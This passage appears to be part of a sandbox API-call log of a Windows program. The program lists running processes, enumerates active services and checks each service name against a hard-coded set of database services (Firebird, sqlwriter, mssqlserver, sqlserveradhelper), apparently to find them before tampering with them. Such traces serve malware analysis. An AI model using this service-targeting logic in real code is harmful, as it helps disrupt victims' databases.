1 [0237.189] lstrlenW (lpString="conhost.exe") returned 11 [0237.189] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0237.190] lstrlenW (lpString="mode.com") returned 8 [0237.190] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x178, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0237.190] lstrlenW (lpString="consent.exe") returned 11 [0237.190] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x178, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0237.190] CloseHandle (hObject=0x454) returned 1 [0237.190] Sleep (dwMilliseconds=0x1f4) [0237.865] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb198 [0237.865] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0237.866] GetLastError () returned 0xea [0237.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b30) returned 0x4ff0050 [0237.866] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4ff0050, cbBufSize=0x1b30, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4ff0050, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0237.866] CloseServiceHandle (hSCObject=0x40eb198) returned 1 [0237.866] lstrlenW (lpString="Appinfo") returned 7 [0237.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0237.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0237.867] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0237.867] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0237.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0237.867] lstrlenW (lpString="AppXSvc") returned 7 [0237.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0237.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0237.867] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0237.867] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0237.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0237.867] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0237.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0237.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0237.867] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0237.867] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0237.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0237.867] lstrlenW (lpString="Audiosrv") returned 8 [0237.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0237.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0237.867] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0237.867] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0237.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0237.867] lstrlenW (lpString="BFE") returned 3 [0237.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0237.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0237.867] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0237.867] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0237.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0237.867] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0237.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0237.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0237.867] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0237.867] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0237.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0237.867] lstrlenW (lpString="CDPSvc") returned 6 [0237.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0237.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0237.867] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0237.867] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0237.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0237.867] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0237.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0237.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0237.867] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0237.867] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0237.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0237.867] lstrlenW (lpString="CryptSvc") returned 8 [0237.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0237.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0237.868] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0237.868] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0237.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0237.868] lstrlenW (lpString="DcomLaunch") returned 10 [0237.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0237.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0237.868] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0237.868] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0237.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0237.868] lstrlenW (lpString="DeviceAssociationService") returned 24 [0237.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0237.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0237.868] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0237.868] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0237.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0237.868] lstrlenW (lpString="Dhcp") returned 4 [0237.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0237.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0237.868] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0237.868] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0237.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0237.868] lstrlenW (lpString="Dnscache") returned 8 [0237.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0237.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0237.868] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0237.868] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0237.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0237.868] lstrlenW (lpString="DPS") returned 3 [0237.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0237.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0237.868] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0237.868] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0237.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0237.868] lstrlenW (lpString="DusmSvc") returned 7 [0237.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0237.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0237.868] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0237.868] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0237.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0237.868] lstrlenW (lpString="EventLog") returned 8 [0237.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0237.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0237.868] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0237.868] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0237.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0237.868] lstrlenW (lpString="EventSystem") returned 11 [0237.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0237.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0237.869] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0237.869] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0237.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0237.869] lstrlenW (lpString="FontCache") returned 9 [0237.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0237.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0237.869] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0237.869] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0237.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0237.869] lstrlenW (lpString="gpsvc") returned 5 [0237.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0237.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0237.869] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0237.869] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0237.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0237.869] lstrlenW (lpString="iphlpsvc") returned 8 [0237.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0237.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0237.869] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0237.869] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0237.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0237.869] lstrlenW (lpString="KeyIso") returned 6 [0237.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0237.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0237.869] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0237.869] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0237.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0237.869] lstrlenW (lpString="LanmanServer") returned 12 [0237.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0237.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0237.869] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0237.869] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0237.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0237.869] lstrlenW (lpString="LanmanWorkstation") returned 17 [0237.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0237.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0237.869] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0237.869] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0237.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0237.869] lstrlenW (lpString="lfsvc") returned 5 [0237.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0237.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0237.869] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0237.869] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0237.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0237.870] lstrlenW (lpString="lmhosts") returned 7 [0237.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0237.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0237.870] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0237.870] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0237.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0237.870] lstrlenW (lpString="LSM") returned 3 [0237.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0237.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0237.870] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0237.870] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0237.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0237.870] lstrlenW (lpString="MpsSvc") returned 6 [0237.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0237.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0237.870] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0237.870] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0237.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0237.870] lstrlenW (lpString="NcbService") returned 10 [0237.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0237.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0237.870] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0237.870] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0237.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0237.870] lstrlenW (lpString="netprofm") returned 8 [0237.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0237.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0237.870] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0237.870] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0237.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0237.870] lstrlenW (lpString="NgcSvc") returned 6 [0237.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0237.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0237.870] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0237.870] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0237.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0237.870] lstrlenW (lpString="NlaSvc") returned 6 [0237.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0237.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0237.870] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0237.870] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0237.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0237.870] lstrlenW (lpString="nsi") returned 3 [0237.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0237.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0237.870] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0237.870] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0237.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0237.871] lstrlenW (lpString="PcaSvc") returned 6 [0237.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0237.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0237.871] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0237.871] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0237.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0237.871] lstrlenW (lpString="PlugPlay") returned 8 [0237.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0237.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0237.871] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0237.871] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0237.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0237.871] lstrlenW (lpString="Power") returned 5 [0237.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0237.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0237.871] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0237.871] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0237.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0237.871] lstrlenW (lpString="ProfSvc") returned 7 [0237.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0237.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0237.871] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0237.871] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0237.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0237.871] lstrlenW (lpString="RpcEptMapper") returned 12 [0237.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0237.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0237.871] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0237.871] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0237.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0237.871] lstrlenW (lpString="RpcSs") returned 5 [0237.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0237.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0237.871] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0237.871] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0237.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0237.871] lstrlenW (lpString="SamSs") returned 5 [0237.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0237.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0237.871] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0237.871] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0237.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0237.871] lstrlenW (lpString="Schedule") returned 8 [0237.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0237.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0237.872] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0237.872] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0237.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0237.872] lstrlenW (lpString="SecurityHealthService") returned 21 [0237.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0237.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0237.872] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0237.872] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0237.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0237.872] lstrlenW (lpString="SENS") returned 4 [0237.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0237.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0237.872] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0237.872] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0237.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0237.872] lstrlenW (lpString="ShellHWDetection") returned 16 [0237.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0237.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0237.872] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0237.872] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0237.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0237.872] lstrlenW (lpString="Spooler") returned 7 [0237.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0237.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0237.872] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0237.872] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0237.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0237.872] lstrlenW (lpString="StateRepository") returned 15 [0237.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0237.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0237.872] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0237.872] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0237.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0237.872] lstrlenW (lpString="SysMain") returned 7 [0237.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0237.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0237.872] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0237.935] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0237.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0237.935] lstrlenW (lpString="SystemEventsBroker") returned 18 [0237.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0237.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0237.935] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0237.935] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0237.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0237.935] lstrlenW (lpString="Themes") returned 6 [0237.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0237.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0237.935] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0237.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0237.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0237.936] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0237.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0237.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0237.936] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0237.936] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0237.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0237.936] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0237.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0237.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0237.936] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0237.936] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0237.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff0050 | out: hHeap=0x4f0000) returned 1 [0237.936] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x55c [0237.939] Process32FirstW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.939] Process32NextW (in: hSnapshot=0x55c, 